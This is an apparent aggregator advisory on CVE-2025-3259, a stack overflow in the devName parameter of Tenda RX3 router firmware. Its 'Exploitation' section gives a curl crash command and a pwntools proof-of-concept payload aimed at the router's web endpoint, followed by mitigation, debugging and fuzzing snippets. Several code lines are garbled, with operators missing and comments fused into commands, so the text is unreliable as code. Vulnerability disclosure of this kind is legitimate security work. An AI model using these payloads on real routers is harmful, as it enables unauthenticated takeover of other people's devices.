How CVE-2025-3259 Works
This vulnerability exists in Tenda RX3 router firmware version 16.03.13.11. The flaw occurs in the `formSetDeviceName` function within `/goform/SetOnlineDevName` due to improper bounds checking when processing the `devName` parameter. A remote attacker can exploit this by sending an overly long string to the `devName` argument, triggering a stack-based buffer overflow. This allows arbitrary code execution with root privileges since the router’s web management interface typically runs with elevated permissions. The exploit is network-accessible without authentication, making it critical.
DailyCVE Form:
Platform: Tenda RX3
Version: 16.03.13.11
Vulnerability: Stack overflow
Severity: Critical
Date: 04/07/2025
What Undercode Say:
Exploitation:
1. Crash Verification:
curl -X POST -d "devName=$(python -c 'print("A"500)')" http://<Tenda_IP>/goform/SetOnlineDevName
2. ROP Chain Setup:
from pwn import
payload = b"A"264 + p32(0xdeadbeef) Example overwrite
requests.post("http://<Tenda_IP>/goform/SetOnlineDevName", data={"devName": payload})
Protection:
1. Mitigation:
iptables -A INPUT -p tcp --dport 80 -j DROP Block web interface access
2. Firmware Patch:
wget https://www.tenda.com/firmware/RX3_16.03.13.12.zip Check for updates
Analysis Tools:
1. GDB Debugging:
gdb-multiarch -q ./httpd Analyze router binary
2. Fuzzing:
import boofuzz
session = boofuzz.Session(target=boofuzz.Target(connection=boofuzz.SocketConnection("<IP>", 80, "tcp")))
References:
No further commentary.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3259
Extra Source Hub:
Undercode
